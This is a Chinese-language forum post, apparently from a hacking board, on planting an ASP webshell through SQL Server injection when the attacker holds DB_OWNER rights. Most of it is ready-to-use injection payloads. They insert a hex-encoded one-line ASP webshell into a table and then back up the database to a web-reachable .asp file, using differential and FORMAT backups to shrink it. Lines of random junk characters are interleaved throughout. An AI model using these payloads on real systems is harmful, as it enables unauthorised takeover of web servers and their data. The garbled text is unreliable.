DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:
6 M* u1 [/ T- D* q3 Z
: O; a' |+ i) _: H, c减少备份文件大小，得到可执行的webshell成功率提高不少
1 b4 K* D0 S2 i1 k7 x+ |7 L6 d一利用差异备份
加一个参数WITH DIFFERENTIAL
2 j7 F) ]5 S) e7 I1 z3 G
7 b3 c* j8 M+ I8 a9 H! t) \' I& E  V1
+ _$ P4 q  C4 e& T7 T& Z2
7 S) C3 s/ R4 H. S. y3
4
6 S9 Y- ^# Y8 n& Q" }( k5 X declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 a5 f2 W( o& M3 {create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
0 O# v7 t5 j5 l9 }8 A! f6 \/ w
+ }$ n9 y0 e2 s) j: X% P二利用完全FORMAT
加一个参数WITH FROMAT
/ w4 M4 H2 ~! A( S8 r+ B有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

1
2
7 X$ M' ]7 n/ \0 e3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
: o0 d( V% h- `; V! rcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 f. N4 x; f5 n/ T. xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
6 g, F5 |# n0 s+ y0 O( U
3 e" C: M, E4 s. f总的来说就是那么简单几句,下面以备份数据库model为例子
$ f6 O  u' U. e+ Q; J) }0 B1
" C2 `" s1 Y% k8 x& z" X
7 Z5 o3 a6 ]! d/ {/ {- L- o, o1
2 W# q* B" S2 b+ s7 [4 S/ r! f id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

5 v5 [# Y; C) d5 e& h2
( o) O6 C3 E7 {' m
5 i( Y- e' e# c, H) e* B% i9 }1
id=1;backup database model to disk='你的路径‘ with differential,format;--
4 d" @- U7 J( U# [5 e